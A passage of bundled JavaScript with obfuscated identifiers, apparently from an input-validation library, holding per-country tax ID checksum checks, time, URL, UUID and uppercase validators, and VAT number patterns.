- E: 9,
- F: 13,
- G: 15,
- H: 17,
- I: 19,
- J: 21,
- K: 2,
- L: 4,
- M: 18,
- N: 20,
- O: 11,
- P: 3,
- Q: 6,
- R: 8,
- S: 12,
- T: 14,
- U: 16,
- V: 10,
- W: 22,
- X: 25,
- Y: 24,
- Z: 23,
- 0: 1,
- 1: 0
- }, _0x227a33 = 0; _0x227a33 < _0x2051b1.length - 1; _0x227a33 += 2) {
- var _0x2d6ac4 = 0;
- if (_0x2051b1[_0x227a33] in _0x457ff1) {
- _0x2d6ac4 = _0x457ff1[_0x2051b1[_0x227a33]];
- } else {
- var _0x17fc01 = parseInt(_0x2051b1[_0x227a33], 10);
- _0x2d6ac4 = 2 * _0x17fc01 + 1;
- _0x17fc01 > 4 && (_0x2d6ac4 += 2);
- }
- _0x47682a += _0x2d6ac4;
- }
- return String.fromCharCode(65 + _0x47682a % 26) === _0x2051b1[15];
- },
- "lv-LV": function (_0x4cc857) {
- var _0x5d7cd1 = (_0x4cc857 = _0x4cc857.replace(/\W/, "")).slice(0, 2);
- if ("32" !== _0x5d7cd1) {
- if ("00" !== _0x4cc857.slice(2, 4)) {
- var _0x478f8a = _0x4cc857.slice(4, 6);
- switch (_0x4cc857[6]) {
- case "0":
- _0x478f8a = "18".concat(_0x478f8a);
- break;
- case "1":
- _0x478f8a = "19".concat(_0x478f8a);
- break;
- default:
- _0x478f8a = "20".concat(_0x478f8a);
- }
- var _0xa4442f = "".concat(_0x478f8a, "/").concat(_0x4cc857.slice(2, 4), "/").concat(_0x5d7cd1);
- if (!(0, _0x574a07.default)(_0xa4442f, "YYYY/MM/DD")) {
- return false;
- }
- }
- for (var _0x1b3feb = 1101, _0x182252 = [1, 6, 3, 7, 9, 10, 5, 8, 4, 2], _0x46bbd6 = 0; _0x46bbd6 < _0x4cc857.length - 1; _0x46bbd6++) {
- _0x1b3feb -= parseInt(_0x4cc857[_0x46bbd6], 10) * _0x182252[_0x46bbd6];
- }
- return parseInt(_0x4cc857[10], 10) === _0x1b3feb % 11;
- }
- return true;
- },
- "mt-MT": function (_0x34ce5d) {
- if (9 !== _0x34ce5d.length) {
- for (var _0x2c1378 = _0x34ce5d.toUpperCase().split(""); _0x2c1378.length < 8;) {
- _0x2c1378.unshift(0);
- }
- switch (_0x34ce5d[7]) {
- case "A":
- case "P":
- if (0 === parseInt(_0x2c1378[6], 10)) {
- return false;
- }
- break;
- default:
- var _0x4469c1 = parseInt(_0x2c1378.join("").slice(0, 5), 10);
- if (_0x4469c1 > 32000) {
- return false;
- }
- if (_0x4469c1 === parseInt(_0x2c1378.join("").slice(5, 7), 10)) {
- return false;
- }
- }
- }
- return true;
- },
- "nl-NL": function (_0x4ecb2c) {
- return _0x49fcad.reverseMultiplyAndSum(_0x4ecb2c.split("").slice(0, 8).map(function (_0x2a2e13) {
- return parseInt(_0x2a2e13, 10);
- }), 9) % 11 === parseInt(_0x4ecb2c[8], 10);
- },
- "pl-PL": function (_0xee81e4) {
- if (10 === _0xee81e4.length) {
- for (var _0x256fb6 = [6, 5, 7, 2, 3, 4, 5, 6, 7], _0x59a75a = 0, _0x1716b2 = 0; _0x1716b2 < _0x256fb6.length; _0x1716b2++) {
- _0x59a75a += parseInt(_0xee81e4[_0x1716b2], 10) * _0x256fb6[_0x1716b2];
- }
- return 10 != (_0x59a75a %= 11) && _0x59a75a === parseInt(_0xee81e4[9], 10);
- }
- var _0xbfe92e = _0xee81e4.slice(0, 2);
- var _0x62a645 = parseInt(_0xee81e4.slice(2, 4), 10);
- _0x62a645 > 80 ? (_0xbfe92e = "18".concat(_0xbfe92e), _0x62a645 -= 80) : _0x62a645 > 60 ? (_0xbfe92e = "22".concat(_0xbfe92e), _0x62a645 -= 60) : _0x62a645 > 40 ? (_0xbfe92e = "21".concat(_0xbfe92e), _0x62a645 -= 40) : _0x62a645 > 20 ? (_0xbfe92e = "20".concat(_0xbfe92e), _0x62a645 -= 20) : _0xbfe92e = "19".concat(_0xbfe92e);
- _0x62a645 < 10 && (_0x62a645 = "0".concat(_0x62a645));
- var _0x30d1aa = "".concat(_0xbfe92e, "/").concat(_0x62a645, "/").concat(_0xee81e4.slice(4, 6));
- if (!(0, _0x574a07.default)(_0x30d1aa, "YYYY/MM/DD")) {
- return false;
- }
- for (var _0x55b29c = 0, _0x2d39f9 = 1, _0x5c757a = 0; _0x5c757a < _0xee81e4.length - 1; _0x5c757a++) {
- _0x55b29c += parseInt(_0xee81e4[_0x5c757a], 10) * _0x2d39f9 % 10;
- (_0x2d39f9 += 2) > 10 ? _0x2d39f9 = 1 : 5 === _0x2d39f9 && (_0x2d39f9 += 2);
- }
- return (_0x55b29c = 10 - _0x55b29c % 10) === parseInt(_0xee81e4[10], 10);
- },
- "pt-BR": function (_0x2be254) {
- if (11 === _0x2be254.length) {
- var _0x43918e;
- var _0x263d30;
- if (_0x43918e = 0, "11111111111" === _0x2be254 || "22222222222" === _0x2be254 || "33333333333" === _0x2be254 || "44444444444" === _0x2be254 || "55555555555" === _0x2be254 || "66666666666" === _0x2be254 || "77777777777" === _0x2be254 || "88888888888" === _0x2be254 || "99999999999" === _0x2be254 || "00000000000" === _0x2be254) {
- return false;
- }
- for (var _0x25b9de = 1; _0x25b9de <= 9; _0x25b9de++) {
- _0x43918e += parseInt(_0x2be254.substring(_0x25b9de - 1, _0x25b9de), 10) * (11 - _0x25b9de);
- }
- if (10 == (_0x263d30 = 10 * _0x43918e % 11) && (_0x263d30 = 0), _0x263d30 !== parseInt(_0x2be254.substring(9, 10), 10)) {
- return false;
- }
- _0x43918e = 0;
- for (var _0x4929c7 = 1; _0x4929c7 <= 10; _0x4929c7++) {
- _0x43918e += parseInt(_0x2be254.substring(_0x4929c7 - 1, _0x4929c7), 10) * (12 - _0x4929c7);
- }
- 10 == (_0x263d30 = 10 * _0x43918e % 11) && (_0x263d30 = 0);
- return _0x263d30 === parseInt(_0x2be254.substring(10, 11), 10);
- }
- if ("00000000000000" === _0x2be254 || "11111111111111" === _0x2be254 || "22222222222222" === _0x2be254 || "33333333333333" === _0x2be254 || "44444444444444" === _0x2be254 || "55555555555555" === _0x2be254 || "66666666666666" === _0x2be254 || "77777777777777" === _0x2be254 || "88888888888888" === _0x2be254 || "99999999999999" === _0x2be254) {
- return false;
- }
- for (var _0x4fa366 = _0x2be254.length - 2, _0x5ac875 = _0x2be254.substring(0, _0x4fa366), _0x46cedc = _0x2be254.substring(_0x4fa366), _0x73a619 = 0, _0xf882f5 = _0x4fa366 - 7, _0x44db9d = _0x4fa366; _0x44db9d >= 1; _0x44db9d--) {
- _0x73a619 += _0x5ac875.charAt(_0x4fa366 - _0x44db9d) * _0xf882f5;
- (_0xf882f5 -= 1) < 2 && (_0xf882f5 = 9);
- }
- var _0x5573c0 = _0x73a619 % 11 < 2 ? 0 : 11 - _0x73a619 % 11;
- if (_0x5573c0 !== parseInt(_0x46cedc.charAt(0), 10)) {
- return false;
- }
- _0x4fa366 += 1;
- _0x5ac875 = _0x2be254.substring(0, _0x4fa366);
- _0x73a619 = 0;
- _0xf882f5 = _0x4fa366 - 7;
- for (var _0x8a36e = _0x4fa366; _0x8a36e >= 1; _0x8a36e--) {
- _0x73a619 += _0x5ac875.charAt(_0x4fa366 - _0x8a36e) * _0xf882f5;
- (_0xf882f5 -= 1) < 2 && (_0xf882f5 = 9);
- }
- return (_0x5573c0 = _0x73a619 % 11 < 2 ? 0 : 11 - _0x73a619 % 11) === parseInt(_0x46cedc.charAt(1), 10);
- },
- "pt-PT": function (_0x390a8e) {
- var _0x2d729f = 11 - _0x49fcad.reverseMultiplyAndSum(_0x390a8e.split("").slice(0, 8).map(function (_0x2ec4f9) {
- return parseInt(_0x2ec4f9, 10);
- }), 9) % 11;
- return _0x2d729f > 9 ? 0 === parseInt(_0x390a8e[8], 10) : _0x2d729f === parseInt(_0x390a8e[8], 10);
- },
- "ro-RO": function (_0x420e23) {
- if ("9000" !== _0x420e23.slice(0, 4)) {
- var _0x36b66f = _0x420e23.slice(1, 3);
- switch (_0x420e23[0]) {
- case "1":
- case "2":
- _0x36b66f = "19".concat(_0x36b66f);
- break;
- case "3":
- case "4":
- _0x36b66f = "18".concat(_0x36b66f);
- break;
- case "5":
- case "6":
- _0x36b66f = "20".concat(_0x36b66f);
- }
- var _0x5854cf = "".concat(_0x36b66f, "/").concat(_0x420e23.slice(3, 5), "/").concat(_0x420e23.slice(5, 7));
- if (8 === _0x5854cf.length) {
- if (!(0, _0x574a07.default)(_0x5854cf, "YY/MM/DD")) {
- return false;
- }
- } else {
- if (!(0, _0x574a07.default)(_0x5854cf, "YYYY/MM/DD")) {
- return false;
- }
- }
- for (var _0x236b61 = _0x420e23.split("").map(function (_0x4406dc) {
- return parseInt(_0x4406dc, 10);
- }), _0x44f751 = [2, 7, 9, 1, 4, 6, 3, 5, 8, 2, 7, 9], _0x59104f = 0, _0x3a043a = 0; _0x3a043a < _0x44f751.length; _0x3a043a++) {
- _0x59104f += _0x236b61[_0x3a043a] * _0x44f751[_0x3a043a];
- }
- return _0x59104f % 11 == 10 ? 1 === _0x236b61[12] : _0x236b61[12] === _0x59104f % 11;
- }
- return true;
- },
- "sk-SK": function (_0x216687) {
- if (9 === _0x216687.length) {
- if ("000" === (_0x216687 = _0x216687.replace(/\W/, "")).slice(6)) {
- return false;
- }
- var _0x274cd7 = parseInt(_0x216687.slice(0, 2), 10);
- if (_0x274cd7 > 53) {
- return false;
- }
- _0x274cd7 = _0x274cd7 < 10 ? "190".concat(_0x274cd7) : "19".concat(_0x274cd7);
- var _0x523ab0 = parseInt(_0x216687.slice(2, 4), 10);
- _0x523ab0 > 50 && (_0x523ab0 -= 50);
- _0x523ab0 < 10 && (_0x523ab0 = "0".concat(_0x523ab0));
- var _0x867466 = "".concat(_0x274cd7, "/").concat(_0x523ab0, "/").concat(_0x216687.slice(4, 6));
- if (!(0, _0x574a07.default)(_0x867466, "YYYY/MM/DD")) {
- return false;
- }
- }
- return true;
- },
- "sl-SI": function (_0x5b4d4b) {
- var _0x56c8e2 = 11 - _0x49fcad.reverseMultiplyAndSum(_0x5b4d4b.split("").slice(0, 7).map(function (_0x2ae566) {
- return parseInt(_0x2ae566, 10);
- }), 8) % 11;
- return 10 === _0x56c8e2 ? 0 === parseInt(_0x5b4d4b[7], 10) : _0x56c8e2 === parseInt(_0x5b4d4b[7], 10);
- },
- "sv-SE": function (_0x4b8f88) {
- var _0x5bd121 = _0x4b8f88.slice(0);
- _0x4b8f88.length > 11 && (_0x5bd121 = _0x5bd121.slice(2));
- var _0x1eaf87 = "";
- var _0x4289b2 = _0x5bd121.slice(2, 4);
- var _0x4ee43b = parseInt(_0x5bd121.slice(4, 6), 10);
- if (_0x4b8f88.length > 11) {
- _0x1eaf87 = _0x4b8f88.slice(0, 4);
- } else {
- if (_0x1eaf87 = _0x4b8f88.slice(0, 2), 11 === _0x4b8f88.length && _0x4ee43b < 60) {
- var _0x120bde = new Date().getFullYear().toString();
- var _0x46f7b5 = parseInt(_0x120bde.slice(0, 2), 10);
- if (_0x120bde = parseInt(_0x120bde, 10), "-" === _0x4b8f88[6]) {
- _0x1eaf87 = parseInt("".concat(_0x46f7b5).concat(_0x1eaf87), 10) > _0x120bde ? "".concat(_0x46f7b5 - 1).concat(_0x1eaf87) : "".concat(_0x46f7b5).concat(_0x1eaf87);
- } else {
- if (_0x1eaf87 = "".concat(_0x46f7b5 - 1).concat(_0x1eaf87), _0x120bde - parseInt(_0x1eaf87, 10) < 100) {
- return false;
- }
- }
- }
- }
- _0x4ee43b > 60 && (_0x4ee43b -= 60);
- _0x4ee43b < 10 && (_0x4ee43b = "0".concat(_0x4ee43b));
- var _0x301f70 = "".concat(_0x1eaf87, "/").concat(_0x4289b2, "/").concat(_0x4ee43b);
- if (8 === _0x301f70.length) {
- if (!(0, _0x574a07.default)(_0x301f70, "YY/MM/DD")) {
- return false;
- }
- } else {
- if (!(0, _0x574a07.default)(_0x301f70, "YYYY/MM/DD")) {
- return false;
- }
- }
- return _0x49fcad.luhnCheck(_0x4b8f88.replace(/\W/, ""));
- },
- "lb-LU": _0x437827["fr-LU"]
- };
- _0x437827["lt-LT"] = _0x437827["et-EE"];
- _0x437827["nl-BE"] = _0x437827["fr-BE"];
- _0x437827["fr-CA"] = _0x437827["en-CA"];
- var _0x58aa0c = /[-\\\/!@#$%\^&\*\(\)\+\=\[\]]+/g;
- var _0x145266 = {
- "de-AT": _0x58aa0c,
- "de-DE": /[\/\\]/g,
- "fr-BE": _0x58aa0c,
- "nl-BE": _0x145266["fr-BE"]
- };
- _0x2c23bc.exports = _0x4b1fa8.default;
- _0x2c23bc.exports.default = _0x4b1fa8.default;
- },
- 3494: (_0x452280, _0x56d295, _0x5d2082) => {
- "use strict";
-
- Object.defineProperty(_0x56d295, "__esModule", {
- value: true
- });
- _0x56d295.default = function (_0xe3e806, _0x478a94) {
- _0x478a94 = (0, _0x2197fd.default)(_0x478a94, _0xe1fee8);
- return "string" == typeof _0xe3e806 && _0x15a0c9[_0x478a94.hourFormat][_0x478a94.mode].test(_0xe3e806);
- };
- var _0x4fc4d5;
- var _0x2197fd = (_0x4fc4d5 = _0x5d2082(4808)) && _0x4fc4d5.__esModule ? _0x4fc4d5 : {
- default: _0x4fc4d5
- };
- var _0xe1fee8 = {
- hourFormat: "hour24",
- mode: "default"
- };
- var _0x15a0c9 = {
- hour24: {
- default: /^([01]?[0-9]|2[0-3]):([0-5][0-9])$/,
- withSeconds: /^([01]?[0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$/
- },
- hour12: {
- default: /^(0?[1-9]|1[0-2]):([0-5][0-9]) (A|P)M$/,
- withSeconds: /^(0?[1-9]|1[0-2]):([0-5][0-9]):([0-5][0-9]) (A|P)M$/
- }
- };
- _0x452280.exports = _0x56d295.default;
- _0x452280.exports.default = _0x56d295.default;
- },
- 2492: (_0x3c9b40, _0x51cdd8, _0x5d16d7) => {
- "use strict";
-
- Object.defineProperty(_0x51cdd8, "__esModule", {
- value: true
- });
- _0x51cdd8.default = function (_0x50a122, _0x929fc4) {
- if ((0, _0x5b74fd.default)(_0x50a122), !_0x50a122 || /[\s<>]/.test(_0x50a122)) {
- return false;
- }
- if (0 === _0x50a122.indexOf("mailto:")) {
- return false;
- }
- if ((_0x929fc4 = (0, _0x41457b.default)(_0x929fc4, _0x5f2580)).validate_length && _0x50a122.length >= 2083) {
- return false;
- }
- if (!_0x929fc4.allow_fragments && _0x50a122.includes("#")) {
- return false;
- }
- if (!_0x929fc4.allow_query_components && (_0x50a122.includes("?") || _0x50a122.includes("&"))) {
- return false;
- }
- var _0x362f60;
- var _0xdb904b;
- var _0x12dbcb;
- var _0x5999ad;
- var _0x485db8;
- var _0x4a8a20;
- var _0x2dfe5f;
- var _0x5256aa;
- var _0x149fe2;
- if (_0x2dfe5f = _0x50a122.split("#"), _0x50a122 = _0x2dfe5f.shift(), _0x2dfe5f = _0x50a122.split("?"), _0x50a122 = _0x2dfe5f.shift(), (_0x2dfe5f = _0x50a122.split("://")).length > 1) {
- if (_0x362f60 = _0x2dfe5f.shift().toLowerCase(), _0x929fc4.require_valid_protocol && -1 === _0x929fc4.protocols.indexOf(_0x362f60)) {
- return false;
- }
- } else {
- if (_0x929fc4.require_protocol) {
- return false;
- }
- if ("//" === _0x50a122.slice(0, 2)) {
- if (!_0x929fc4.allow_protocol_relative_urls) {
- return false;
- }
- _0x2dfe5f[0] = _0x50a122.slice(2);
- }
- }
- if ("" === (_0x50a122 = _0x2dfe5f.join("://"))) {
- return false;
- }
- if (_0x2dfe5f = _0x50a122.split("/"), "" === (_0x50a122 = _0x2dfe5f.shift()) && !_0x929fc4.require_host) {
- return true;
- }
- if ((_0x2dfe5f = _0x50a122.split("@")).length > 1) {
- if (_0x929fc4.disallow_auth) {
- return false;
- }
- if ("" === _0x2dfe5f[0]) {
- return false;
- }
- if ((_0xdb904b = _0x2dfe5f.shift()).indexOf(":") >= 0 && _0xdb904b.split(":").length > 2) {
- return false;
- }
- 2;
- var _0x37403a = function (_0x48eab9) {
- if (Array.isArray(_0x48eab9)) {
- return _0x48eab9;
- }
- }(_0x149fe2 = _0xdb904b.split(":")) || function (_0x237633, _0x3a298b) {
- if ("undefined" != typeof Symbol && Symbol.iterator in Object(_0x237633)) {
- var _0x1f3ac1 = [];
- var _0x3bec3a = true;
- var _0x34440e = false;
- var _0x259458 = undefined;
- try {
- for (var _0x3f974a, _0x5d983a = _0x237633[Symbol.iterator](); !(_0x3bec3a = (_0x3f974a = _0x5d983a.next()).done) && (_0x1f3ac1.push(_0x3f974a.value), 2 !== _0x1f3ac1.length); _0x3bec3a = true) {}
- } catch (_0x142afc) {
- _0x34440e = true;
- _0x259458 = _0x142afc;
- } finally {
- try {
- _0x3bec3a || null == _0x5d983a.return || _0x5d983a.return();
- } finally {
- if (_0x34440e) {
- throw _0x259458;
- }
- }
- }
- return _0x1f3ac1;
- }
- }(_0x149fe2) || function (_0x316834, _0x37d463) {
- if (_0x316834) {
- if ("string" == typeof _0x316834) {
- return _0x3a97ad(_0x316834, 2);
- }
- var _0x234364 = Object.prototype.toString.call(_0x316834).slice(8, -1);
- "Object" === _0x234364 && _0x316834.constructor && (_0x234364 = _0x316834.constructor.name);
- return "Map" === _0x234364 || "Set" === _0x234364 ? Array.from(_0x316834) : "Arguments" === _0x234364 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x234364) ? _0x3a97ad(_0x316834, 2) : undefined;
- }
- }(_0x149fe2) || function () {
- throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }();
- var _0x4bc303 = _0x37403a[0];
- var _0x2932d9 = _0x37403a[1];
- if ("" === _0x4bc303 && "" === _0x2932d9) {
- return false;
- }
- }
- _0x4a8a20 = null;
- _0x5256aa = null;
- var _0x14d6e1 = (_0x5999ad = _0x2dfe5f.join("@")).match(_0x55349e);
- if (_0x14d6e1 ? (_0x12dbcb = "", _0x5256aa = _0x14d6e1[1], _0x4a8a20 = _0x14d6e1[2] || null) : (_0x12dbcb = (_0x2dfe5f = _0x5999ad.split(":")).shift(), _0x2dfe5f.length && (_0x4a8a20 = _0x2dfe5f.join(":"))), null !== _0x4a8a20 && _0x4a8a20.length > 0) {
- if (_0x485db8 = parseInt(_0x4a8a20, 10), !/^[0-9]+$/.test(_0x4a8a20) || _0x485db8 <= 0 || _0x485db8 > 65535) {
- return false;
- }
- } else {
- if (_0x929fc4.require_port) {
- return false;
- }
- }
- return _0x929fc4.host_whitelist ? _0x2b0bc2(_0x12dbcb, _0x929fc4.host_whitelist) : "" === _0x12dbcb && !_0x929fc4.require_host || !!((0, _0x540fdc.default)(_0x12dbcb) || (0, _0x2e991f.default)(_0x12dbcb, _0x929fc4) || _0x5256aa && (0, _0x540fdc.default)(_0x5256aa, 6)) && (_0x12dbcb = _0x12dbcb || _0x5256aa, !_0x929fc4.host_blacklist || !_0x2b0bc2(_0x12dbcb, _0x929fc4.host_blacklist));
- };
- var _0x5b74fd = _0xbe4753(_0x5d16d7(5571));
- var _0x2e991f = _0xbe4753(_0x5d16d7(221));
- var _0x540fdc = _0xbe4753(_0x5d16d7(1028));
- var _0x41457b = _0xbe4753(_0x5d16d7(4808));
- function _0xbe4753(_0x162116) {
- return _0x162116 && _0x162116.__esModule ? _0x162116 : {
- default: _0x162116
- };
- }
- function _0x3a97ad(_0x3b3af5, _0x4c9bdc) {
- (null == _0x4c9bdc || _0x4c9bdc > _0x3b3af5.length) && (_0x4c9bdc = _0x3b3af5.length);
- for (var _0x5455e6 = 0, _0x586642 = new Array(_0x4c9bdc); _0x5455e6 < _0x4c9bdc; _0x5455e6++) {
- _0x586642[_0x5455e6] = _0x3b3af5[_0x5455e6];
- }
- return _0x586642;
- }
- var _0x5f2580 = {
- protocols: ["http", "https", "ftp"],
- require_tld: true,
- require_protocol: false,
- require_host: true,
- require_port: false,
- require_valid_protocol: true,
- allow_underscores: false,
- allow_trailing_dot: false,
- allow_protocol_relative_urls: false,
- allow_fragments: true,
- allow_query_components: true,
- validate_length: true
- };
- var _0x55349e = /^\[([^\]]+)\](?::([0-9]+))?$/;
- function _0x2b0bc2(_0x24331d, _0x854646) {
- for (var _0x1a8419 = 0; _0x1a8419 < _0x854646.length; _0x1a8419++) {
- var _0x53fe6d = _0x854646[_0x1a8419];
- if (_0x24331d === _0x53fe6d || (_0x8a88ac = _0x53fe6d, "[object RegExp]" === Object.prototype.toString.call(_0x8a88ac) && _0x53fe6d.test(_0x24331d))) {
- return true;
- }
- }
- var _0x8a88ac;
- return false;
- }
- _0x3c9b40.exports = _0x51cdd8.default;
- _0x3c9b40.exports.default = _0x51cdd8.default;
- },
- 7278: (_0x1cfb1c, _0x28e06a, _0x4fee45) => {
- "use strict";
-
- Object.defineProperty(_0x28e06a, "__esModule", {
- value: true
- });
- _0x28e06a.default = function (_0x386af3, _0x5cde5d) {
- (0, _0x516e41.default)(_0x386af3);
- var _0x1ea097 = _0x189ed8[[undefined, null].includes(_0x5cde5d) ? "all" : _0x5cde5d];
- return !!_0x1ea097 && _0x1ea097.test(_0x386af3);
- };
- var _0x323778;
- var _0x516e41 = (_0x323778 = _0x4fee45(5571)) && _0x323778.__esModule ? _0x323778 : {
- default: _0x323778
- };
- var _0x189ed8 = {
- 1: /^[0-9A-F]{8}-[0-9A-F]{4}-1[0-9A-F]{3}-[0-9A-F]{4}-[0-9A-F]{12}$/i,
- 2: /^[0-9A-F]{8}-[0-9A-F]{4}-2[0-9A-F]{3}-[0-9A-F]{4}-[0-9A-F]{12}$/i,
- 3: /^[0-9A-F]{8}-[0-9A-F]{4}-3[0-9A-F]{3}-[0-9A-F]{4}-[0-9A-F]{12}$/i,
- 4: /^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i,
- 5: /^[0-9A-F]{8}-[0-9A-F]{4}-5[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i,
- all: /^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$/i
- };
- _0x1cfb1c.exports = _0x28e06a.default;
- _0x1cfb1c.exports.default = _0x28e06a.default;
- },
- 7245: (_0x55d047, _0x21ebca, _0x368297) => {
- "use strict";
-
- Object.defineProperty(_0x21ebca, "__esModule", {
- value: true
- });
- _0x21ebca.default = function (_0xbf8aa8) {
- (0, _0x657282.default)(_0xbf8aa8);
- return _0xbf8aa8 === _0xbf8aa8.toUpperCase();
- };
- var _0x1110c2;
- var _0x657282 = (_0x1110c2 = _0x368297(5571)) && _0x1110c2.__esModule ? _0x1110c2 : {
- default: _0x1110c2
- };
- _0x55d047.exports = _0x21ebca.default;
- _0x55d047.exports.default = _0x21ebca.default;
- },
- 5977: (_0x1b6905, _0x5aa9c8, _0x1fbd04) => {
- "use strict";
-
- function _0x20071e(_0x4338ac) {
- _0x20071e = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x18fe4b) {
- return typeof _0x18fe4b;
- } : function (_0x16ed28) {
- return _0x16ed28 && "function" == typeof Symbol && _0x16ed28.constructor === Symbol && _0x16ed28 !== Symbol.prototype ? "symbol" : typeof _0x16ed28;
- };
- return _0x20071e(_0x4338ac);
- }
- Object.defineProperty(_0x5aa9c8, "__esModule", {
- value: true
- });
- _0x5aa9c8.default = function (_0x1d7717, _0x1251ac) {
- if ((0, _0x7e4a6c.default)(_0x1d7717), (0, _0x7e4a6c.default)(_0x1251ac), _0x1251ac in _0x453813) {
- return _0x453813[_0x1251ac](_0x1d7717);
- }
- throw new Error("Invalid country code: '".concat(_0x1251ac, "'"));
- };
- _0x5aa9c8.vatMatchers = undefined;
- var _0x259bac;
- var _0x7e4a6c = (_0x259bac = _0x1fbd04(5571)) && _0x259bac.__esModule ? _0x259bac : {
- default: _0x259bac
- };
- var _0x58ded3 = function (_0x229f2e) {
- if (_0x229f2e && _0x229f2e.__esModule) {
- return _0x229f2e;
- }
- if (null === _0x229f2e || "object" !== _0x20071e(_0x229f2e) && "function" != typeof _0x229f2e) {
- return {
- default: _0x229f2e
- };
- }
- var _0x4cfecb = _0x4c9718();
- if (_0x4cfecb && _0x4cfecb.has(_0x229f2e)) {
- return _0x4cfecb.get(_0x229f2e);
- }
- var _0x298d0e = {};
- var _0x2cede3 = Object.defineProperty && Object.getOwnPropertyDescriptor;
- for (var _0xd25276 in _0x229f2e) if (Object.prototype.hasOwnProperty.call(_0x229f2e, _0xd25276)) {
- var _0x3b91cc = _0x2cede3 ? Object.getOwnPropertyDescriptor(_0x229f2e, _0xd25276) : null;
- _0x3b91cc && (_0x3b91cc.get || _0x3b91cc.set) ? Object.defineProperty(_0x298d0e, _0xd25276, _0x3b91cc) : _0x298d0e[_0xd25276] = _0x229f2e[_0xd25276];
- }
- _0x298d0e.default = _0x229f2e;
- _0x4cfecb && _0x4cfecb.set(_0x229f2e, _0x298d0e);
- return _0x298d0e;
- }(_0x1fbd04(3672));
- function _0x4c9718() {
- if ("function" != typeof WeakMap) {
- return null;
- }
- var _0x14c586 = new WeakMap();
- _0x4c9718 = function () {
- return _0x14c586;
- };
- return _0x14c586;
- }
- var _0x453813 = {
- AT: function (_0x3f75ca) {
- return /^(AT)?U\d{8}$/.test(_0x3f75ca);
- },
- BE: function (_0x2f1a96) {
- return /^(BE)?\d{10}$/.test(_0x2f1a96);
- },
- BG: function (_0x4ca5ea) {
- return /^(BG)?\d{9,10}$/.test(_0x4ca5ea);
- },
- HR: function (_0x276e53) {
- return /^(HR)?\d{11}$/.test(_0x276e53);
- },
- CY: function (_0x25b606) {
- return /^(CY)?\w{9}$/.test(_0x25b606);
- },
- CZ: function (_0x186938) {
- return /^(CZ)?\d{8,10}$/.test(_0x186938);
- },
- DK: function (_0x4c3f96) {
- return /^(DK)?\d{8}$/.test(_0x4c3f96);
- },
- EE: function (_0xc73239) {
- return /^(EE)?\d{9}$/.test(_0xc73239);
- },
- FI: function (_0x2a3f41) {
- return /^(FI)?\d{8}$/.test(_0x2a3f41);
- },
- FR: function (_0x2d0679) {
- return /^(FR)?\w{2}\d{9}$/.test(_0x2d0679);
- },
- DE: function (_0x428e8f) {
- return /^(DE)?\d{9}$/.test(_0x428e8f);
- },
- EL: function (_0x4cefd3) {
- return /^(EL)?\d{9}$/.test(_0x4cefd3);
- },
- HU: function (_0x18bf8e) {
- return /^(HU)?\d{8}$/.test(_0x18bf8e);
- },
- IE: function (_0x299118) {
- return /^(IE)?\d{7}\w{1}(W)?$/.test(_0x299118);
- },
- IT: function (_0x102564) {
- return /^(IT)?\d{11}$/.test(_0x102564);
- },
- LV: function (_0x4cc960) {
- return /^(LV)?\d{11}$/.test(_0x4cc960);
- },
- LT: function (_0x4ebbc9) {
- return /^(LT)?\d{9,12}$/.test(_0x4ebbc9);
- },
- LU: function (_0x40da89) {
- return /^(LU)?\d{8}$/.test(_0x40da89);
- },
- MT: function (_0x38daa7) {
- return /^(MT)?\d{8}$/.test(_0x38daa7);
- },
- NL: function (_0x4984d7) {
- return /^(NL)?\d{9}B\d{2}$/.test(_0x4984d7);
- },
- PL: function (_0x259e98) {
- return /^(PL)?(\d{10}|(\d{3}-\d{3}-\d{2}-\d{2})|(\d{3}-\d{2}-\d{2}-\d{3}))$/.test(_0x259e98);
- },
- PT: function (_0x2db602) {
- var _0xa275b1 = _0x2db602.match(/^(PT)?(\d{9})$/);
- if (!_0xa275b1) {
- return false;
- }
- var _0x2ad70f = _0xa275b1[2];
- var _0x5788d7 = 11 - _0x58ded3.reverseMultiplyAndSum(_0x2ad70f.split("").slice(0, 8).map(function (_0x3e7525) {
- return parseInt(_0x3e7525, 10);
- }), 9) % 11;
- return _0x5788d7 > 9 ? 0 === parseInt(_0x2ad70f[8], 10) : _0x5788d7 === parseInt(_0x2ad70f[8], 10);
- },
- RO: function (_0x340525) {
- return /^(RO)?\d{2,10}$/.test(_0x340525);
- },
- SK: function (_0x3af2f5) {
- return /^(SK)?\d{10}$/.test(_0x3af2f5);
- },
- SI: function (_0x59bf24) {
- return /^(SI)?\d{8}$/.test(_0x59bf24);
- },
- ES: function (_0x39d027) {
- return /^(ES)?\w\d{7}[A-Z]$/.test(_0x39d027);
- },
- SE: function (_0xc41eb5) {
- return /^(SE)?\d{12}$/.test(_0xc41eb5);
- },
- AL: function (_0x3b86c5) {
- return /^(AL)?\w{9}[A-Z]$/.test(_0x3b86c5);
- },
- MK: function (_0x24e926) {
- return /^(MK)?\d{13}$/.test(_0x24e926);
- },
- AU: function (_0x396285) {
- return /^(AU)?\d{11}$/.test(_0x396285);
- },
- BY: function (_0x52222f) {
- return /^(УНП )?\d{9}$/.test(_0x52222f);
- },
- CA: function (_0x6bc4ca) {
- return /^(CA)?\d{9}$/.test(_0x6bc4ca);
- },
- IS: function (_0x2317cb) {
- return /^(IS)?\d{5,6}$/.test(_0x2317cb);
- },
- IN: function (_0x3222eb) {
- return /^(IN)?\d{15}$/.test(_0x3222eb);
- },
- ID: function (_0x12c611) {
- return /^(ID)?(\d{15}|(\d{2}.\d{3}.\d{3}.\d{1}-\d{3}.\d{3}))$/.test(_0x12c611);
- },
- IL: function (_0x126111) {
- return /^(IL)?\d{9}$/.test(_0x126111);
- },
- KZ: function (_0x473e8b) {
- return /^(KZ)?\d{9}$/.test(_0x473e8b);
- },
- NZ: function (_0x205a42) {
- return /^(NZ)?\d{9}$/.test(_0x205a42);
- },
- NG: function (_0x1b3f30) {
- return /^(NG)?(\d{12}|(\d{8}-\d{4}))$/.test(_0x1b3f30);
- },
